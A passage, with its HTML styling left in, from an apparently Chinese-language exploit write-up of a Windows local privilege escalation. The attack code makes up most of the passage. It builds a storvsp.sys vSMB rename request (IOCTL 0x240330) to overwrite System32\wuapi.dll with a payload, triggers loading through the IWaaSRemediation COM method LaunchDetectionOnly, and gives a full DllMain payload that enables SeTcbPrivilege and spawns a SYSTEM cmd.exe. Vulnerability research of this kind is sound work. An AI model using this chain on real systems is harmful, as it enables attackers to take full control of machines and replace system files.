_FILE_RENAME_INFORMATION {</span><span leaf=""><br/></span><span leaf="">    BOOLEAN ReplaceIfExists;</span><span leaf=""><br/></span><span leaf="">    HANDLE RootDirectory;</span><span leaf=""><br/></span><span leaf="">    DWORD FileNameLength;</span><span leaf=""><br/></span><span leaf="">    WCHAR FileName[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;</span><span leaf=""><br/></span><span leaf="">std::wstring targetFileName = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;wuapi.dll&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">DWORD nameLength = (DWORD)(targetFileName.length() * </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">wchar_t</span></span><span leaf="">));</span><span leaf=""><br/></span><span leaf="">DWORD inputSize = </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST) + nameLength + </span><span style="color: rgb(0, 92, 197);"><span leaf="">24</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST inputBuffer = (PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST)malloc(inputSize);</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">memset</span></span><span leaf="">(inputBuffer, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, inputSize);</span><span leaf=""><br/></span><span leaf="">inputBuffer-&gt;Version = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">inputBuffer-&gt;SourceHandle = (UINT64)hSourceFile;</span><span leaf=""><br/></span><span leaf="">inputBuffer-&gt;InformationClass = FileRenameInformation;</span><span leaf=""><br/></span><span leaf="">inputBuffer-&gt;BufferLength = </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST) + nameLength;</span><span leaf=""><br/></span><span leaf="">PFILE_RENAME_INFORMATION pRename = (PFILE_RENAME_INFORMATION)&amp;inputBuffer-&gt;Buffer[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">pRename-&gt;ReplaceIfExists = </span><span style="color: rgb(0, 92, 197);"><span leaf="">TRUE</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">pRename-&gt;RootDirectory = </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">pRename-&gt;FileNameLength = nameLength;</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">memcpy</span></span><span leaf="">(pRename-&gt;FileName, targetFileName.c_str(), nameLength);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">inputBuffer-&gt;SourceHandle</span></code><span leaf="">字段被初始化为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">payload.dll</span></code><span leaf="">文件句柄。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">inputBuffer-&gt;InformationClass</span></code><span leaf="">字段被填充为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileRenameInformation</span></code><span leaf="">枚举值，并为此构造了所需的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PFILE_RENAME_INFORMATION</span></code><span leaf="">结构。在该结构中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pRename-&gt;ReplaceIfExists</span></code><span leaf="">被设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TRUE</span></code><span leaf="">，以确保在目标系统文件已存在时进行替换。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">用户可通过调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Kernel32.dll</span></code><span leaf="">库中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DeviceIoControl()</span></code><span leaf="">API 来发起 I/O 请求。以下代码展示了如何向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">驱动发出 I/O 请求：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">define</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">IOCTL_VSMB_SET_INFORMATION_FILE_REQUEST</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x240330</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">DeviceIoControl</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">   hDevice,</span><span leaf=""><br/></span><span leaf="">   IOCTL_VSMB_SET_INFORMATION_FILE_REQUEST,</span><span leaf=""><br/></span><span leaf="">   inputBuffer,</span><span leaf=""><br/></span><span leaf="">   inputSize,</span><span leaf=""><br/></span><span leaf="">   outputBuffer,</span><span leaf=""><br/></span><span leaf="">   outputSize,</span><span leaf=""><br/></span><span leaf="">   nullptr,</span><span leaf=""><br/></span><span leaf="">   nullptr);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">hDevice</span></code><span leaf="">字段是先前获取的 </span><em><span leaf="">vSMB</span></em><span leaf="">共享句柄。请求 0x240330 IOCTL 代码以执行重命名操作，最终将载荷文件移动到特权 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\System32</span></code><span leaf="">目录中，并替换 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wuapi.dll</span></code><span leaf="">系统文件。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">阶段 3：调用 COM 方法</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了在特权 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">安全上下文中加载 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wuapi.dll</span></code><span leaf="">库，使用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IWaaSRemediation</span></code><span leaf="">COM 接口。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">IID i_Waas;</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">CLSIDFromString</span></span><span leaf="">(L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;{b4c1d279-966e-44e9-a9c5-ccaf4a77023d}&#34;</span></span><span leaf="">, &amp;i_Waas);</span><span leaf=""><br/></span><span leaf="">CLSID c_Waas;</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">CLSIDFromString</span></span><span leaf="">(L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}&#34;</span></span><span leaf="">, &amp;c_Waas);</span><span leaf=""><br/></span><span leaf="">IWaaSRemediation *pv = </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">hr = CoCreateInstance(c_Waas, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, CLSCTX_LOCAL_SERVER, i_Waas, (LPVOID *)&amp;pv);</span><span leaf=""><br/></span><span leaf="">BSTR inputArgs = SysAllocString(L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">BSTR outputResult = </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">hr = pv-&gt;</span><span style="color: rgb(111, 66, 193);"><span leaf="">LaunchDetectionOnly</span></span><span leaf="">(inputArgs, &amp;outputResult);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IWaaSRemediation</span></code><span leaf="">COM 接口通过从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Ole32.dll</span></code><span leaf="">库中调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CoCreateInstance()</span></code><span leaf="">API 并传入其特定的 GUID 字符串进行初始化。调用该接口的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LaunchDetectionOnly()</span></code><span leaf="">方法后，将触发一系列操作。其中之一是由一个以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份运行的可执行文件加载目标 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wuapi.dll</span></code><span leaf="">库。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DLL 载荷</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wuapi.dll</span></code><span leaf="">被 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">进程加载时，其 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DllMain()</span></code><span leaf="">入口点以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DLL_PROCESS_ATTACH</span></code><span leaf="">方式被调用。载荷执行三项操作：获取锁以防止生成多个 shell、在当前进程令牌上启用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SeTcbPrivilege</span></code><span leaf="">、以及在活动控制台会话中生成命令 shell。实现如下所示：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">BOOL APIENTRY </span><span style="color: rgb(111, 66, 193);"><span leaf="">DllMain</span></span><span leaf="">(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">switch</span></span><span leaf=""> (ul_reason_for_call) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">case</span></span><span leaf=""> DLL_PROCESS_ATTACH: {</span><span leaf=""><br/></span><span leaf="">        SECURITY_ATTRIBUTES saFile = {</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">};</span><span leaf=""><br/></span><span leaf="">        saFile.</span><span style="color: rgb(36, 41, 46);"><span leaf="">nLength</span></span><span leaf=""> = </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(saFile);</span><span leaf=""><br/></span><span leaf="">        saFile.</span><span style="color: rgb(36, 41, 46);"><span leaf="">bInheritHandle</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">TRUE</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        HANDLE hLockFile = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CreateFileW</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">            L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;C:</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Windows</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Temp</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">MyShellLock.tmp&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            GENERIC_READ | GENERIC_WRITE,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            &amp;saFile,</span><span leaf=""><br/></span><span leaf="">            OPEN_ALWAYS,</span><span leaf=""><br/></span><span leaf="">            FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf=""><br/></span><span leaf="">        );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (hLockFile == INVALID_HANDLE_VALUE)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">TRUE</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        DWORD activeSessionId = </span><span style="color: rgb(0, 92, 197);"><span leaf="">WTSGetActiveConsoleSessionId</span></span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">        HANDLE hCurrentToken = </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">OpenProcessToken</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">GetCurrentProcess</span></span><span leaf="">(), TOKEN_ADJUST_PRIVILEGES | TOKEN_DUPLICATE | TOKEN_QUERY, &amp;hCurrentToken);</span><span leaf=""><br/></span><span leaf="">        LUID luid;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LookupPrivilegeValueW</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">, L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SeTcbPrivilege&#34;</span></span><span leaf="">, &amp;luid);</span><span leaf=""><br/></span><span leaf="">        TOKEN_PRIVILEGES tp;</span><span leaf=""><br/></span><span leaf="">        tp.</span><span style="color: rgb(36, 41, 46);"><span leaf="">PrivilegeCount</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        tp.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Privileges</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">].</span><span style="color: rgb(36, 41, 46);"><span leaf="">Luid</span></span><span leaf=""> = luid;</span><span leaf=""><br/></span><span leaf="">        tp.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Privileges</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">].</span><span style="color: rgb(36, 41, 46);"><span leaf="">Attributes</span></span><span leaf=""> = SE_PRIVILEGE_ENABLED;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">AdjustTokenPrivileges</span></span><span leaf="">(hCurrentToken, </span><span style="color: rgb(0, 92, 197);"><span leaf="">FALSE</span></span><span leaf="">, &amp;tp, </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(TOKEN_PRIVILEGES), </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        HANDLE hDuplicatedToken = </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">DuplicateTokenEx</span></span><span leaf="">(hCurrentToken, MAXIMUM_ALLOWED, </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">, SecurityImpersonation, TokenPrimary, &amp;hDuplicatedToken);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">SetTokenInformation</span></span><span leaf="">(hDuplicatedToken, TokenSessionId, &amp;activeSessionId, </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(activeSessionId));</span><span leaf=""><br/></span><span leaf="">        STARTUPINFOW si = {</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">};</span><span leaf=""><br/></span><span leaf="">        si.</span><span style="color: rgb(36, 41, 46);"><span leaf="">cb</span></span><span leaf=""> = </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(si);</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">wchar_t</span></span><span leaf=""> desktopName[] = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;winsta0</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">default&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        si.</span><span style="color: rgb(36, 41, 46);"><span leaf="">lpDesktop</span></span><span leaf=""> = desktopName;</span><span leaf=""><br/></span><span leaf="">        PROCESS_INFORMATION pi = {</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">};</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">wchar_t</span></span><span leaf=""> cmdPath[] = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;C:</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Windows</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">System32</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">cmd.exe&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">CreateProcessAsUserW</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">            hDuplicatedToken,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            cmdPath,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">TRUE</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span 